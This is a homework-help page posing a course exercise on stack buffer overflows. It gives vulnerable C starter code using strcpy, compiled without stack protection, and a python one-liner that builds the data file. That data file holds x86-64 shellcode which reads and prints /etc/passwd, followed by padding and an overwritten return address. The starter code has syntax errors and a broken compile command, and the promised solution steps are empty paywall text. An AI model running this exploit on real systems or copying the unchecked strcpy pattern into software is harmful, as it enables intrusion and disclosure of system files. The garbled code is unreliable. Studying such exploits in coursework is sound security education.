Question
write a program in C that loads injected code. Your program must prevent any buffer overlow. Rules: 1. The data file will be called hw11.data
write a program in C that loads injected code. Your program must prevent any buffer overlow. Rules: 1. The data file will be called hw11.data 2. Your buffer must be a static array of length 256 3. Your code MUST display the buffer address, the input data, and the final buffer contents. 4. You must change the address in the data file to match the address of the buffer. 5. Your output must be formatted as shown below (your contents may be slightly different due to text mode character limitations and address changes): Buffer Address: 0x7fffffffe000 File Contents:Buffer Contents:
__________
Code so Far
#include
int main(int argc, char ** argv) { printf "Argc: %d ", argc); printf("Buffer: %p ", buffer); strcpy(buffer, argv[1]); printf("Buffer: %s ", buffer); return 0; }
// $ gcc -m64 stackSmash.c -o stackSmash.c -z execstack -fno-stack-protector hw11.data
__________
hw11.data
python -c 'print "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 + "\x7f\xff\xff\xff\xe0\x00"[::-1]'
Step by Step Solution
There are 3 Steps involved in it
Step: 1
Get Instant Access to Expert-Tailored Solutions
See step-by-step solutions with expert insights and AI powered tools for academic success
Step: 2
Step: 3
Ace Your Homework with AI
Get the answers you need in no time with our AI-driven, step-by-step assistance
Get Started